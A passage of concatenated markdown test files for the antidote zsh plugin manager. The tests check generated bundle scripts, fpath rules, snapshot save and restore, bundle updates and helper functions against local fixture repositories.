Uses different defer options due to zstyle matching % antidote __private__ zsh_script __bundle__ bar/baz kind defer | subenv ANTIDOTE_HOME if ! (( $+functions[zsh-defer] )); then fpath+=( "$ANTIDOTE_HOME/fakegitsite.com/getantidote/zsh-defer" ) source "$ANTIDOTE_HOME/fakegitsite.com/getantidote/zsh-defer/zsh-defer.plugin.zsh" fi fpath+=( "$ANTIDOTE_HOME/fakegitsite.com/bar/baz" ) zsh-defer -a source "$ANTIDOTE_HOME/fakegitsite.com/bar/baz/baz.plugin.zsh" % # cleanup % t_reset % antidote bundle <$ZDOTDIR/.base_test_fixtures.txt &>/dev/null % ``` ### path:plugin-dir ```zsh % antidote __private__ zsh_script __bundle__ ohmy/ohmy path plugins/extract | subenv ANTIDOTE_HOME fpath+=( "$ANTIDOTE_HOME/fakegitsite.com/ohmy/ohmy/plugins/extract" ) source "$ANTIDOTE_HOME/fakegitsite.com/ohmy/ohmy/plugins/extract/extract.plugin.zsh" % ``` ### path:file ```zsh % antidote __private__ zsh_script __bundle__ ohmy/ohmy path lib/lib1.zsh | subenv ANTIDOTE_HOME source "$ANTIDOTE_HOME/fakegitsite.com/ohmy/ohmy/lib/lib1.zsh" % ``` ### path:lib-dir ```zsh % antidote __private__ zsh_script __bundle__ ohmy/ohmy path lib | subenv ANTIDOTE_HOME fpath+=( "$ANTIDOTE_HOME/fakegitsite.com/ohmy/ohmy/lib" ) source "$ANTIDOTE_HOME/fakegitsite.com/ohmy/ohmy/lib/lib1.zsh" source "$ANTIDOTE_HOME/fakegitsite.com/ohmy/ohmy/lib/lib2.zsh" source "$ANTIDOTE_HOME/fakegitsite.com/ohmy/ohmy/lib/lib3.zsh" % ``` ### path:theme ```zsh % antidote __private__ zsh_script __bundle__ ohmy/ohmy path themes/pretty.zsh-theme | subenv ANTIDOTE_HOME source "$ANTIDOTE_HOME/fakegitsite.com/ohmy/ohmy/themes/pretty.zsh-theme" % ``` ### conditional:testfunc ```zsh % antidote __private__ zsh_script __bundle__ ohmy/ohmy path plugins/macos conditional is-macos | subenv ANTIDOTE_HOME if is-macos; then fpath+=( "$ANTIDOTE_HOME/fakegitsite.com/ohmy/ohmy/plugins/macos" ) source "$ANTIDOTE_HOME/fakegitsite.com/ohmy/ohmy/plugins/macos/macos.plugin.zsh" fi % ``` ### autoload:funcdir ```zsh % antidote __private__ zsh_script __bundle__ ohmy/ohmy path plugins/macos autoload functions | subenv ANTIDOTE_HOME fpath+=( "$ANTIDOTE_HOME/fakegitsite.com/ohmy/ohmy/plugins/macos/functions" ) builtin autoload -Uz $fpath[-1]/*(N.:t) fpath+=( "$ANTIDOTE_HOME/fakegitsite.com/ohmy/ohmy/plugins/macos" ) source "$ANTIDOTE_HOME/fakegitsite.com/ohmy/ohmy/plugins/macos/macos.plugin.zsh" % ``` ### fpath-rule:append/prepend ```zsh % # append % antidote __private__ zsh_script __bundle__ ohmy/ohmy path plugins/docker fpath-rule append | subenv ANTIDOTE_HOME fpath+=( "$ANTIDOTE_HOME/fakegitsite.com/ohmy/ohmy/plugins/docker" ) source "$ANTIDOTE_HOME/fakegitsite.com/ohmy/ohmy/plugins/docker/docker.plugin.zsh" % # prepend % antidote __private__ zsh_script __bundle__ ohmy/ohmy path plugins/docker fpath-rule prepend | subenv ANTIDOTE_HOME fpath=( "$ANTIDOTE_HOME/fakegitsite.com/ohmy/ohmy/plugins/docker" $fpath ) source "$ANTIDOTE_HOME/fakegitsite.com/ohmy/ohmy/plugins/docker/docker.plugin.zsh" % # whoops % antidote __private__ zsh_script __bundle__ ohmy/ohmy path plugins/docker fpath-rule foobar 2>&1 antidote: error: unexpected fpath rule: 'foobar' % ``` ### pre/post functions ```zsh % # pre % antidote __private__ zsh_script __bundle__ foo/bar pre run_before | subenv ANTIDOTE_HOME run_before fpath+=( "$ANTIDOTE_HOME/fakegitsite.com/foo/bar" ) source "$ANTIDOTE_HOME/fakegitsite.com/foo/bar/bar.plugin.zsh" % # post % antidote __private__ zsh_script __bundle__ foo/bar post run_after | subenv ANTIDOTE_HOME fpath+=( "$ANTIDOTE_HOME/fakegitsite.com/foo/bar" ) source "$ANTIDOTE_HOME/fakegitsite.com/foo/bar/bar.plugin.zsh" run_after % ``` If a plugin is deferred, so is its post event ```zsh % antidote __private__ zsh_script __bundle__ foo/bar kind defer pre pre-event post post-event | subenv ANTIDOTE_HOME pre-event if ! (( $+functions[zsh-defer] )); then fpath+=( "$ANTIDOTE_HOME/fakegitsite.com/getantidote/zsh-defer" ) source "$ANTIDOTE_HOME/fakegitsite.com/getantidote/zsh-defer/zsh-defer.plugin.zsh" fi fpath+=( "$ANTIDOTE_HOME/fakegitsite.com/foo/bar" ) zsh-defer source "$ANTIDOTE_HOME/fakegitsite.com/foo/bar/bar.plugin.zsh" zsh-defer post-event % ``` ### conditional + defer Conditional wraps the entire deferred block: ```zsh % antidote __private__ zsh_script __bundle__ foo/bar kind defer conditional is-macos | subenv ANTIDOTE_HOME if is-macos; then if ! (( $+functions[zsh-defer] )); then fpath+=( "$ANTIDOTE_HOME/fakegitsite.com/getantidote/zsh-defer" ) source "$ANTIDOTE_HOME/fakegitsite.com/getantidote/zsh-defer/zsh-defer.plugin.zsh" fi fpath+=( "$ANTIDOTE_HOME/fakegitsite.com/foo/bar" ) zsh-defer source "$ANTIDOTE_HOME/fakegitsite.com/foo/bar/bar.plugin.zsh" fi % ``` ### conditional + pre/post ```zsh % antidote __private__ zsh_script __bundle__ foo/bar conditional is-macos pre setup post cleanup | subenv ANTIDOTE_HOME if is-macos; then setup fpath+=( "$ANTIDOTE_HOME/fakegitsite.com/foo/bar" ) source "$ANTIDOTE_HOME/fakegitsite.com/foo/bar/bar.plugin.zsh" cleanup fi % ``` ## Private functions ### initfiles setup ```zsh % PLUGINDIR=$T_TEMPDIR/initfiles/myplugin % mkdir -p $PLUGINDIR % touch $PLUGINDIR/myplugin.plugin.zsh % touch $PLUGINDIR/whatever.plugin.zsh % touch $PLUGINDIR/file.zsh % touch $PLUGINDIR/file.sh % touch $PLUGINDIR/file.bash % touch $PLUGINDIR/mytheme.zsh-theme % touch $PLUGINDIR/README.md % touch $PLUGINDIR/file % mkdir -p $PLUGINDIR/lib % touch $PLUGINDIR/lib/lib1.zsh % touch $PLUGINDIR/lib/lib2.zsh % touch $PLUGINDIR/lib/lib3.zsh % ``` myplugin.plugin.zsh ```zsh % antidote __private__ initfiles $PLUGINDIR | subenv PLUGINDIR $PLUGINDIR/myplugin.plugin.zsh % rm $PLUGINDIR/myplugin.plugin.zsh % ``` whatever.plugin.zsh ```zsh % antidote __private__ initfiles $PLUGINDIR | subenv PLUGINDIR $PLUGINDIR/whatever.plugin.zsh % rm $PLUGINDIR/whatever.plugin.zsh % ``` file.zsh ```zsh % antidote __private__ initfiles $PLUGINDIR | subenv PLUGINDIR $PLUGINDIR/file.zsh % rm $PLUGINDIR/file.zsh % ``` file.sh ```zsh % antidote __private__ initfiles $PLUGINDIR | subenv PLUGINDIR $PLUGINDIR/file.sh % rm $PLUGINDIR/file.sh % ``` mytheme.zsh-theme ```zsh % antidote __private__ initfiles $PLUGINDIR | subenv PLUGINDIR $PLUGINDIR/mytheme.zsh-theme % rm $PLUGINDIR/mytheme.zsh-theme % ``` lib ```zsh % antidote __private__ initfiles $PLUGINDIR/lib | subenv PLUGINDIR $PLUGINDIR/lib/lib1.zsh $PLUGINDIR/lib/lib2.zsh $PLUGINDIR/lib/lib3.zsh % ``` FAIL: no files left that match ```zsh % antidote __private__ initfiles $PLUGINDIR #=> --exit 1 % ``` FAIL: Empty ```zsh % PLUGINDIR=$T_TEMPDIR/initfiles/foo % mkdir -p $PLUGINDIR % antidote __private__ initfiles $PLUGINDIR #=> --exit 1 % ``` ## Teardown ```zsh % t_teardown % ``` mattmc3-antidote-4913257/tests/test_cmd_snapshot.md000066400000000000000000000205771516600341500223100ustar00rootroot00000000000000# antidote snapshot tests ## Setup ```zsh % source ./tests/__init__.zsh % t_setup % antidote bundle <$ZDOTDIR/.base_test_fixtures.txt &>/dev/null % SNAP_DIR=$HOME/.antidote-snapshots % zstyle ':antidote:fzf' cmd '' % zstyle ':antidote:snapshot' dir $SNAP_DIR % source $T_PRJDIR/antidote.zsh % ``` ## Snapshot save Saving a snapshot creates a file in the snapshot directory: ```zsh % antidote snapshot save | grep -c "Snapshot saved:" 1 % ls $SNAP_DIR/snapshot-*.txt | wc -l | tr -d ' ' 1 % ``` The snapshot file has comment headers: ```zsh % snapshot_file=$(ls $SNAP_DIR/snapshot-*.txt) % head -1 $snapshot_file # antidote snapshot % sed -n '2p' $snapshot_file | grep -cE '# version: [0-9]+\.[0-9]+\.[0-9]+' 1 % sed -n '3p' "$snapshot_file" | grep -cE '# date: [0-9]{4}-[0-9]{2}-[0-9]{2}T[0-9]{2}:[0-9]{2}:[0-9]{2}Z' 1 % ``` The snapshot body matches the expected fixture: ```zsh % diff <(tail -n +4 $snapshot_file) $T_TESTDATA/.zsh_plugins.snapshot.txt % ``` ## Snapshot home ```zsh % antidote snapshot home | subenv $HOME/.antidote-snapshots % ``` ## Snapshot list ```zsh % antidote snapshot list | grep -c "snapshot-" 1 % ``` ## Snapshot save after update Unshallow foo/baz so we can roll it back, then update. The update should auto-save a new snapshot: ```zsh % zstyle ':antidote:test:version' show-sha off % zstyle ':antidote:test:git' autostash off % bundledir=$ANTIDOTE_HOME/fakegitsite.com/foo/baz % command git -C $bundledir fetch --quiet --unshallow 2>/dev/null; true % oldsha=$(command git -C $bundledir rev-parse HEAD) % command git -C $bundledir reset --quiet --hard HEAD~1 % newsha=$(command git -C $bundledir rev-parse HEAD) % [[ "$oldsha" != "$newsha" ]] && echo "rolled back" rolled back % zstyle ':antidote:test:snapshot' epoch 1000000002 % antidote update --bundles &>/dev/null % ls $SNAP_DIR/snapshot-*.txt | wc -l | tr -d ' ' 2 % ``` After update, the latest snapshot should match the original fixture (SHA restored): ```zsh % latest=$(ls $SNAP_DIR/snapshot-*.txt | tail -1) % diff <(tail -n +4 $latest) $T_TESTDATA/.zsh_plugins.snapshot.txt % ``` ## Snapshot restore Restore from the latest snapshot re-bundles everything: ```zsh % antidote snapshot restore $latest &>/dev/null % echo $? 0 % ``` ## Dynamic mode skips snapshots ```zsh % count_before=$(ls $SNAP_DIR/snapshot-*.txt 2>/dev/null | wc -l | tr -d ' ') % ANTIDOTE_DYNAMIC=true antidote snapshot save % count_after=$(ls $SNAP_DIR/snapshot-*.txt 2>/dev/null | wc -l | tr -d ' ') % [[ "$count_before" == "$count_after" ]] && echo "no new snapshot" no new snapshot % ``` ## Autosnapshot disabled Disabling autosnapshot prevents auto-snapshot on update, but explicit save still works: ```zsh % zstyle ':antidote:snapshot:automatic' enabled no % zstyle ':antidote:snapshot' dir $HOME/.antidote-disabled-test % source $T_PRJDIR/antidote.zsh % antidote snapshot save | grep -c "Snapshot saved:" 1 % zstyle -d ':antidote:snapshot:automatic' enabled % zstyle -d ':antidote:snapshot' dir % ``` ## Custom snapshot directory ```zsh % zstyle ':antidote:snapshot' dir $HOME/.antidote-snaps % source $T_PRJDIR/antidote.zsh % antidote snapshot save | grep -c "antidote-snaps" 1 % [[ -d $HOME/.antidote-snaps ]] && echo "custom dir exists" custom dir exists % zstyle -d ':antidote:snapshot' dir % ``` ## Snapshot pruning Save snapshots over the max and verify pruning keeps only the max: ```zsh % zstyle ':antidote:snapshot' max 3 % zstyle ':antidote:snapshot' dir $HOME/.antidote-prune-test % source $T_PRJDIR/antidote.zsh % zstyle ':antidote:test:snapshot' epoch 1000000001; antidote snapshot save >/dev/null % zstyle ':antidote:test:snapshot' epoch 1000000002; antidote snapshot save >/dev/null % zstyle ':antidote:test:snapshot' epoch 1000000003; antidote snapshot save >/dev/null % zstyle ':antidote:test:snapshot' epoch 1000000004; antidote snapshot save >/dev/null % zstyle ':antidote:test:snapshot' epoch 1000000005; antidote snapshot save >/dev/null % ls $HOME/.antidote-prune-test/snapshot-*.txt | wc -l | tr -d ' ' 3 % zstyle -d ':antidote:snapshot' max % zstyle -d ':antidote:snapshot' dir % zstyle -d ':antidote:test:snapshot' epoch % ``` ## Help flag ```zsh % antidote snapshot --help 2>&1 | grep -c "snapshot" #=> --exit 0 % ``` ## Unknown subcommand ```zsh % antidote snapshot foo 2>&1 antidote: snapshot: unknown subcommand 'foo' % ``` ## Restore error: no file specified (without fzf) ```zsh % zstyle ':antidote:snapshot' dir $HOME/.antidote-empty-snaps % source $T_PRJDIR/antidote.zsh % mkdir -p $HOME/.antidote-empty-snaps % antidote snapshot save >/dev/null % path=(${path:#*fzf*}) % unhash -f fzf 2>/dev/null; true % antidote snapshot restore 2>&1 | head -1 antidote: snapshot: no snapshot file specified (use 'antidote snapshot list' to see available snapshots) % zstyle -d ':antidote:snapshot' dir % ``` ## Restore error: no snapshots found ```zsh % zstyle ':antidote:snapshot' dir $HOME/.antidote-no-snaps % zstyle ':antidote:fzf' cmd $T_PRJDIR/tests/bin/mock_fzf % source $T_PRJDIR/antidote.zsh % mkdir -p $HOME/.antidote-no-snaps % antidote snapshot restore 2>&1 | head -1 antidote: snapshot: no snapshots found % zstyle -d ':antidote:snapshot' dir % zstyle -d ':antidote:fzf' cmd % ``` ## Restore error: file not found ```zsh % antidote snapshot restore /nonexistent/snapshot.txt 2>&1 antidote: snapshot: file not found '/nonexistent/snapshot.txt' % ``` ## Remove with file argument ```zsh % zstyle ':antidote:snapshot' dir $HOME/.antidote-remove-test % source $T_PRJDIR/antidote.zsh % zstyle ':antidote:test:snapshot' epoch 1000000001; antidote snapshot save >/dev/null % zstyle ':antidote:test:snapshot' epoch 1000000002; antidote snapshot save >/dev/null % ls $HOME/.antidote-remove-test/snapshot-*.txt | wc -l | tr -d ' ' 2 % snap=$(ls $HOME/.antidote-remove-test/snapshot-*.txt | head -1) % antidote snapshot remove $snap | grep -c "Removed:" 1 % ls $HOME/.antidote-remove-test/snapshot-*.txt | wc -l | tr -d ' ' 1 % zstyle -d ':antidote:snapshot' dir % zstyle -d ':antidote:test:snapshot' epoch % ``` ## Remove error: file not found ```zsh % antidote snapshot remove /nonexistent/snapshot.txt 2>&1 antidote: snapshot: file not found '/nonexistent/snapshot.txt' % ``` ## Remove error: no file specified (without fzf) ```zsh % zstyle ':antidote:snapshot' dir $HOME/.antidote-remove-nofzf % source $T_PRJDIR/antidote.zsh % antidote snapshot save >/dev/null % path=(${path:#*fzf*}) % unhash -f fzf 2>/dev/null; true % antidote snapshot remove 2>&1 | head -1 antidote: snapshot: no snapshot file specified (use 'antidote snapshot list' to see available snapshots) % zstyle -d ':antidote:snapshot' dir % ``` ## Remove error: no snapshots found ```zsh % zstyle ':antidote:snapshot' dir $HOME/.antidote-remove-empty % zstyle ':antidote:fzf' cmd $T_PRJDIR/tests/bin/mock_fzf % source $T_PRJDIR/antidote.zsh % mkdir -p $HOME/.antidote-remove-empty % antidote snapshot remove 2>&1 | head -1 antidote: snapshot: no snapshots found % zstyle -d ':antidote:fzf' cmd % ``` ## List order (newest first) ```zsh % zstyle ':antidote:snapshot' dir $HOME/.antidote-order-test % source $T_PRJDIR/antidote.zsh % zstyle ':antidote:test:snapshot' epoch 1000000001; antidote snapshot save >/dev/null % zstyle ':antidote:test:snapshot' epoch 1000000002; antidote snapshot save >/dev/null % zstyle ':antidote:test:snapshot' epoch 1000000003; antidote snapshot save >/dev/null % first=$(antidote snapshot list | head -1) % last=$(antidote snapshot list | tail -1) % [[ "$first" > "$last" ]] && echo "newest first" newest first % zstyle -d ':antidote:snapshot' dir % zstyle -d ':antidote:test:snapshot' epoch % ``` ## Restore verifies repo SHAs Roll back foo/baz, save a snapshot, then restore and verify the SHA matches: ```zsh % zstyle ':antidote:snapshot' dir $HOME/.antidote-restore-test % source $T_PRJDIR/antidote.zsh % bundledir=$ANTIDOTE_HOME/fakegitsite.com/foo/baz % command git -C $bundledir fetch --quiet --unshallow 2>/dev/null; true % expected_sha=$(command git -C $bundledir rev-parse HEAD) % antidote snapshot save >/dev/null % command git -C $bundledir reset --quiet --hard HEAD~1 % rolled_sha=$(command git -C $bundledir rev-parse HEAD) % [[ "$expected_sha" != "$rolled_sha" ]] && echo "rolled back" rolled back % snap=$(ls $HOME/.antidote-restore-test/snapshot-*.txt | tail -1) % antidote snapshot restore $snap &>/dev/null % actual_sha=$(command git -C $bundledir rev-parse HEAD) % [[ "$actual_sha" == "$expected_sha" ]] && echo "restored" restored % zstyle -d ':antidote:snapshot' dir % ``` ## Teardown ```zsh % t_teardown % ``` mattmc3-antidote-4913257/tests/test_cmd_update.md000066400000000000000000000061571516600341500217310ustar00rootroot00000000000000# antidote update tests ## Setup ```zsh % source ./tests/__init__.zsh % t_setup % antidote bundle <$ZDOTDIR/.base_test_fixtures.txt &>/dev/null % ``` ## Update ```zsh % zstyle ':antidote:test:version' show-sha off % zstyle ':antidote:test:git' autostash off % antidote update --bundles Updating bundles... antidote: checking for updates: bar/baz antidote: checking for updates: foo/bar antidote: checking for updates: foo/baz antidote: checking for updates: git@fakegitsite.com:foo/qux antidote: checking for updates: getantidote/zsh-defer antidote: checking for updates: ohmy/ohmy Waiting for bundle updates to complete... Bundle updates complete. % ``` ## Dry Run Roll back foo/baz by one commit so the remote is ahead: ```zsh % bundledir=$ANTIDOTE_HOME/fakegitsite.com/foo/baz % oldsha=$(command git -C $bundledir rev-parse --short HEAD) % command git -C $bundledir reset --quiet --hard HEAD~1 % newsha=$(command git -C $bundledir rev-parse --short HEAD) % [[ "$oldsha" != "$newsha" ]] && echo "rolled back" rolled back % ``` Dry run should report an available update but not change the SHA: ```zsh % sha_before=$(command git -C $bundledir rev-parse --short HEAD) % antidote update --bundles --dry-run 2>/dev/null | grep "foo/baz" antidote: checking for updates: foo/baz Bundle foo/baz update check complete. antidote: update available: foo/baz bde701c -> 98cdde2 % sha_after=$(command git -C $bundledir rev-parse --short HEAD) % [[ "$sha_before" == "$sha_after" ]] && echo "no changes made" no changes made % ``` A real update should actually change the SHA: ```zsh % antidote update --bundles 2>/dev/null | grep "foo/baz" antidote: checking for updates: foo/baz Bundle foo/baz update check complete. antidote: updated: foo/baz bde701c -> 98cdde2 % sha_final=$(command git -C $bundledir rev-parse --short HEAD) % [[ "$sha_final" == "$oldsha" ]] && echo "updated to latest" updated to latest % ``` ## Update with dirty working tree (autostash) Roll back foo/baz by one commit, dirty a tracked file, and add an untracked file: ```zsh % bundledir=$ANTIDOTE_HOME/fakegitsite.com/foo/baz % command git -C $bundledir reset --quiet --hard HEAD~1 % echo "junk" >> $bundledir/baz.plugin.zsh % echo "untracked" > $bundledir/untracked.txt % [[ -n "$(command git -C $bundledir status --porcelain)" ]] && echo "dirty" dirty % ``` Update should succeed and advance the SHA despite the dirty working tree: ```zsh % zstyle ':antidote:test:git' autostash on % sha_before=$(command git -C $bundledir rev-parse --short HEAD) % antidote update --bundles 2>/dev/null | grep "foo/baz" antidote: checking for updates: foo/baz Bundle foo/baz update check complete. antidote: updated: foo/baz bde701c -> 98cdde2 % sha_after=$(command git -C $bundledir rev-parse --short HEAD) % [[ "$sha_before" != "$sha_after" ]] && echo "updated" updated % ``` The tracked modification and untracked file should still be present after the update: ```zsh % grep -q "junk" $bundledir/baz.plugin.zsh && echo "tracked change preserved" tracked change preserved % [[ -f $bundledir/untracked.txt ]] && echo "untracked file preserved" untracked file preserved % ``` ## Teardown ```zsh % t_teardown % ``` mattmc3-antidote-4913257/tests/test_fpath_rules.md000066400000000000000000000064311516600341500221330ustar00rootroot00000000000000# antidote bundle fpath-rule: ## Setup ```zsh % source ./tests/__init__.zsh % t_setup % antidote bundle <$ZDOTDIR/.base_test_fixtures.txt &>/dev/null % ``` By default, fpath is appended to: ```zsh % antidote bundle foo/bar kind:fpath fpath+=( "$HOME/.cache/antidote/fakegitsite.com/foo/bar" ) % ``` fpath can be told to explicitly append, but it's unnecessary ```zsh % antidote bundle foo/bar kind:zsh fpath-rule:append fpath+=( "$HOME/.cache/antidote/fakegitsite.com/foo/bar" ) source "$HOME/.cache/antidote/fakegitsite.com/foo/bar/bar.plugin.zsh" % ``` fpath can be prepended with fpath-rule:prepend ```zsh % antidote bundle foo/bar kind:fpath fpath-rule:prepend fpath=( "$HOME/.cache/antidote/fakegitsite.com/foo/bar" $fpath ) % ``` fpath rules can only be append/prepend ```zsh % antidote bundle foo/bar kind:fpath fpath-rule:append #=> --exit 0 % antidote bundle foo/bar kind:fpath fpath-rule:prepend #=> --exit 0 % antidote bundle foo/bar kind:fpath fpath-rule:foo 2>&1 # antidote: error: unexpected fpath rule: 'foo' % ``` fpath rules are also used for `kind:autoload` ```zsh % antidote bundle foo/baz path:baz kind:autoload fpath-rule:append fpath+=( "$HOME/.cache/antidote/fakegitsite.com/foo/baz/baz" ) builtin autoload -Uz $fpath[-1]/*(N.:t) % antidote bundle foo/baz path:baz kind:autoload fpath-rule:prepend fpath=( "$HOME/.cache/antidote/fakegitsite.com/foo/baz/baz" $fpath ) builtin autoload -Uz $fpath[1]/*(N.:t) % ``` fpath rules are also used for `autoload:funcdir` ```zsh % # Append % antidote bundle foo/baz autoload:baz fpath-rule:append fpath+=( "$HOME/.cache/antidote/fakegitsite.com/foo/baz/baz" ) builtin autoload -Uz $fpath[-1]/*(N.:t) fpath+=( "$HOME/.cache/antidote/fakegitsite.com/foo/baz" ) source "$HOME/.cache/antidote/fakegitsite.com/foo/baz/baz.plugin.zsh" % # Prepend % antidote bundle foo/baz autoload:baz fpath-rule:prepend fpath=( "$HOME/.cache/antidote/fakegitsite.com/foo/baz/baz" $fpath ) builtin autoload -Uz $fpath[1]/*(N.:t) fpath=( "$HOME/.cache/antidote/fakegitsite.com/foo/baz" $fpath ) source "$HOME/.cache/antidote/fakegitsite.com/foo/baz/baz.plugin.zsh" % ``` fpath rules can be set globally with a zstyle: `zstyle ':antidote:fpath' rule 'prepend'` ```zsh % zstyle ':antidote:fpath' rule 'prepend' % antidote bundle foo/bar fpath=( "$HOME/.cache/antidote/fakegitsite.com/foo/bar" $fpath ) source "$HOME/.cache/antidote/fakegitsite.com/foo/bar/bar.plugin.zsh" % antidote bundle foo/bar kind:fpath fpath=( "$HOME/.cache/antidote/fakegitsite.com/foo/bar" $fpath ) % antidote bundle foo/baz path:baz kind:autoload fpath=( "$HOME/.cache/antidote/fakegitsite.com/foo/baz/baz" $fpath ) builtin autoload -Uz $fpath[1]/*(N.:t) % ``` It is NOT recommended to do this, but if you choose to then explicit fpath-rules are still respected: ```zsh % zstyle ':antidote:fpath' rule 'prepend' % antidote bundle foo/bar fpath-rule:append fpath+=( "$HOME/.cache/antidote/fakegitsite.com/foo/bar" ) source "$HOME/.cache/antidote/fakegitsite.com/foo/bar/bar.plugin.zsh" % antidote bundle foo/bar kind:fpath fpath-rule:append fpath+=( "$HOME/.cache/antidote/fakegitsite.com/foo/bar" ) % antidote bundle foo/baz path:baz kind:autoload fpath-rule:append fpath+=( "$HOME/.cache/antidote/fakegitsite.com/foo/baz/baz" ) builtin autoload -Uz $fpath[-1]/*(N.:t) % ``` ## Teardown ```zsh % t_teardown % ``` mattmc3-antidote-4913257/tests/test_helpers.md000066400000000000000000000235261516600341500212650ustar00rootroot00000000000000# antidote helper tests ## Setup ```zsh % source ./tests/__init__.zsh % t_setup % ``` ## Safe removal Appease my paranoia and ensure that you can't remove a path you shouldn't be able to: ```zsh % function del() { antidote __private__ del "$@"; } % del -- /foo/bar antidote: Blocked attempt to rm path: '/foo/bar'. % ``` ## Bundle type ```zsh % function bundle_type() { antidote __private__ bundle_type "$@"; } % bundle_type $T_PRJDIR/antidote.zsh file % bundle_type $T_PRJDIR/functions dir % bundle_type '$T_PRJDIR/antidote.zsh' file % bundle_type \$T_PRJDIR/functions dir % bundle_type 'git@fakegitsite.com:foo/bar.git' ssh_url % bundle_type 'https://fakegitsite.com/foo/bar' url % bundle_type 'https://gist.github.com/someuser/abc123def456' url % bundle_type 'https://gist.github.com/someuser/abc123def456.git' url % bundle_type 'https://gitlab.com/group/subgroup/repo' url % bundle_type 'https://github.com' url % bundle_type 'https://github.com.git' url % bundle_type 'https:/typo.com/foo/bar.git' ? % bundle_type '' empty % bundle_type ' ' empty % bundle_type /foo/bar path % bundle_type /foobar path % bundle_type foobar/ ? % bundle_type '~/foo/bar' path % bundle_type '$foo/bar' path % bundle_type \$ZDOTDIR/foo path % bundle_type \$ZDOTDIR/.zsh_plugins.txt file % touch ~/.zshenv % bundle_type '~/.zshenv' file % bundle_type '~/null' path % bundle_type foo/bar repo % bundle_type bar/baz.git repo % bundle_type foo/bar/baz ? % bundle_type foobar using_subplugin % bundle_type foo bar baz using_subplugin % bundle_type 'foo bar baz' ? % ``` ## Bundle name ```zsh % function bundle_name() { antidote __private__ bundle_name "$@"; } % bundle_name $HOME/.zsh/custom/lib/lib1.zsh $HOME/.zsh/custom/lib/lib1.zsh % bundle_name $HOME/.zsh/plugins/myplugin $HOME/.zsh/plugins/myplugin % bundle_name 'git@fakegitsite.com:foo/bar.git' git@fakegitsite.com:foo/bar % bundle_name 'https://fakegitsite.com/foo/bar' foo/bar % bundle_name 'https://gist.github.com/someuser/abc123def456.git' someuser/abc123def456 % bundle_name 'https://gitlab.com/group/subgroup/repo' subgroup/repo % bundle_name 'https:/bad.com/foo/bar.git' https:/bad.com/foo/bar.git % bundle_name '' % bundle_name /foo/bar /foo/bar % bundle_name /foobar /foobar % bundle_name foobar/ foobar/ % bundle_name '~/foo/bar' $HOME/foo/bar % bundle_name '$foo/bar' $foo/bar % bundle_name foo/bar foo/bar % bundle_name bar/baz.git bar/baz.git % bundle_name foo/bar/baz foo/bar/baz % bundle_name foobar foobar % bundle_name foo bar baz foo % bundle_name 'foo bar baz' foo bar baz % ``` ## Bundle dir by style ```zsh % function __bundle_dir_by_style() { antidote __private__ __bundle_dir_by_style "$@"; } % # escaped % __bundle_dir_by_style "https://fakegitsite.com/foo/bar" escaped | subenv ANTIDOTE_HOME $ANTIDOTE_HOME/https-COLON--SLASH--SLASH-fakegitsite.com-SLASH-foo-SLASH-bar % # full % __bundle_dir_by_style "https://fakegitsite.com/foo/bar" full | subenv ANTIDOTE_HOME $ANTIDOTE_HOME/fakegitsite.com/foo/bar % # short % __bundle_dir_by_style "https://fakegitsite.com/foo/bar" short | subenv ANTIDOTE_HOME $ANTIDOTE_HOME/foo/bar % # ssh escaped % __bundle_dir_by_style "git@fakegitsite.com:foo/bar" escaped | subenv ANTIDOTE_HOME $ANTIDOTE_HOME/git-AT-fakegitsite.com-COLON-foo-SLASH-bar % # ssh full % __bundle_dir_by_style "git@fakegitsite.com:foo/bar" full | subenv ANTIDOTE_HOME $ANTIDOTE_HOME/fakegitsite.com/foo/bar % # ssh short % __bundle_dir_by_style "git@fakegitsite.com:foo/bar" short | subenv ANTIDOTE_HOME $ANTIDOTE_HOME/foo/bar % ``` ## Bundle dir ```zsh % function bundle_dir() { antidote __private__ bundle_dir "$@"; } % zstyle ':antidote:bundle' path-style escaped % # short repo % bundle_dir foo/bar | subenv ANTIDOTE_HOME $ANTIDOTE_HOME/https-COLON--SLASH--SLASH-fakegitsite.com-SLASH-foo-SLASH-bar % # repo url % bundle_dir https://fakegitsite.com/foo/bar | subenv ANTIDOTE_HOME $ANTIDOTE_HOME/https-COLON--SLASH--SLASH-fakegitsite.com-SLASH-foo-SLASH-bar % # repo url.git % bundle_dir https://fakegitsite.com/foo/bar.git | subenv ANTIDOTE_HOME $ANTIDOTE_HOME/https-COLON--SLASH--SLASH-fakegitsite.com-SLASH-foo-SLASH-bar % # repo ssh % bundle_dir git@fakegitsite.com:foo/bar.git | subenv ANTIDOTE_HOME $ANTIDOTE_HOME/git-AT-fakegitsite.com-COLON-foo-SLASH-bar % # gist url % bundle_dir https://gist.github.com/someuser/abc123def456.git | subenv ANTIDOTE_HOME $ANTIDOTE_HOME/https-COLON--SLASH--SLASH-gist.github.com-SLASH-someuser-SLASH-abc123def456 % # local dir % bundle_dir ~/foo/bar | subenv HOME $HOME/foo/bar % # another local dir % bundle_dir $ZDOTDIR/bar/baz | subenv ZDOTDIR $ZDOTDIR/bar/baz % zstyle -d ':antidote:bundle' path-style % ``` Use short names ```zsh % # short repo - friendly name % zstyle ':antidote:bundle' path-style short % bundle_dir foo/bar | subenv ANTIDOTE_HOME $ANTIDOTE_HOME/foo/bar % # repo url - friendly name % bundle_dir https://fakegitsite.com/bar/baz | subenv ANTIDOTE_HOME $ANTIDOTE_HOME/bar/baz % # nested group path preserves all path segments after domain % bundle_dir https://fakegitsite.com/foo/bar/baz/qux | subenv ANTIDOTE_HOME $ANTIDOTE_HOME/foo/bar/baz/qux % # ssh repo - friendly name % bundle_dir git@fakegitsite.com:foo/qux.git | subenv ANTIDOTE_HOME $ANTIDOTE_HOME/foo/qux % # gist url - friendly name % bundle_dir https://gist.github.com/someuser/abc123def456.git | subenv ANTIDOTE_HOME $ANTIDOTE_HOME/someuser/abc123def456 % zstyle -d ':antidote:bundle' path-style % ``` Use full names ```zsh % zstyle ':antidote:bundle' path-style full % bundle_dir foo/bar | subenv ANTIDOTE_HOME $ANTIDOTE_HOME/fakegitsite.com/foo/bar % bundle_dir https://fakegitsite.com/bar/baz | subenv ANTIDOTE_HOME $ANTIDOTE_HOME/fakegitsite.com/bar/baz % bundle_dir git@fakegitsite.com:foo/qux.git | subenv ANTIDOTE_HOME $ANTIDOTE_HOME/fakegitsite.com/foo/qux % # gist url % bundle_dir https://gist.github.com/someuser/abc123def456.git | subenv ANTIDOTE_HOME $ANTIDOTE_HOME/gist.github.com/someuser/abc123def456 % # gitlab nested group url % bundle_dir https://gitlab.com/group/subgroup/repo | subenv ANTIDOTE_HOME $ANTIDOTE_HOME/gitlab.com/group/subgroup/repo % zstyle -d 